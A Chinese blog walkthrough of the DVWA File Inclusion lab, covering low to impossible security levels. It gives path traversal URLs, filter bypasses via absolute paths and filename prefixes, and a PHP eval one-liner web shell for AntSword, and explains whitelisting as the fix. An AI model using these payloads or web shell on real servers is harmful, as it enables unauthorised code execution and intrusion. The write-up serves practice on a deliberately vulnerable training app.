dvwa4——File Inclusion

LOW:

先随便点开一个文件,可以观察到url栏变成这样,说明?page=是dvwa当前关卡用来加载文件的参数

复制代码
http://10.24.8.35/DVWA/vulnerabilities/fi/?page=file1.php

我们查看源码 ,没有什么过滤,直接尝试访问其他文件

在url栏的page处做一些修改,我们改动page后为如下代码

复制代码
?page=../../phpinfo.php

../(上级目录指示符号):

从内向外跳,先随便测试一个不存在的文件名,报错,但可以看出我们要查询的目标文件(phpinfo),在dvwa层的目录里,还有两层的距离,所以我们输入两个../


爆出信息

说明dvwa文件目录里的可以运行

我们在dvwa文件夹里新建一个测试文件testd1.exe

输入想要的内容然后ctrl-s保存 (这很重要(悲))

在 url 里写代码

ps!:服务器会把我们包含的任何文件作为php代码执行,如果包含有效的代码,执行并返回i结果,如果不是php代码,就直接回显文件内容

复制代码
?page=../../testd1.txt

回显成功

现在我们把文件后缀改成php,内容改成php一句话木马,打开中国蚁剑

复制代码
<?php @eval($_POST['password']);?>

MEDIUM:

观察源码:

发现这一关将http://,https://,../,..\ 全部替换为了空格

个人解决的一点疑问:这里的过滤仅仅针对page的参数,而不是应用于整个url

所以这一关我们把相对路径( ../ )换成绝对路径就行~

复制代码
http://10.24.15.188/DVWA/vulnerabilities/fi/?page=D:\nginx-1.27.5\html\DVWA\testd1.php

其余爆数据与low一样

HIGH:

查看源码:

用fnmatch函数检查page之后的文件名是否以file开头,或者文件名是否为include

所以我们把文件名改成filedi.php, 其余爆数据与low一样

IMPOSSIBLE:

分析源码:


白名单(whitelist):

与黑名单(Blacklist)相反

  • 黑名单:禁止已知的危险项,放行其他内容(如:过滤 ../ )。

  • 白名单:只允许已知的安全项,拒绝其他所有内容(如:只允许 incude.php)。


所以无论怎么构造,都只能包含这四个文件,无解

❀❀❀ 完结撒花!!!❀❀❀

相关推荐
大方子5 小时前
【PolarCTF】路由自启动
网络安全·polarctf
CDN3606 小时前
中小团队加速 + 防护方案:360CDN+SDK 游戏盾实测
运维·游戏·网络安全
向往着的青绿色8 小时前
备份是个好习惯 BugKuCTF题目题解
网络安全·php·安全威胁分析·ctf·安全架构·安全性测试·威胁分析
Codefengfeng9 小时前
2024年四川省第二届网信行业技能竞赛-数据安全赛项决赛WP
网络安全
汤愈韬11 小时前
BGP知识点解析
网络协议·网络安全·security
浮尘笔记15 小时前
PHP中常规通用接口验签加密规则设计
开发语言·后端·网络安全·php
xixixi7777715 小时前
安全前置设计:在智能体、模型、网络中嵌入零信任、隐私计算、智能体防护,避免“先建设后补安全”
人工智能·安全·网络安全·ai·信息安全·零信任·智能体
吉吉6117 小时前
雷池waf绕过之前奏
网络安全
汤愈韬17 小时前
网络安全管理员三级认证考试疑问题目分析
网络安全
Palpitate_LL17 小时前
MIPS栈溢出:ROP构造与Shellocde注入
网络安全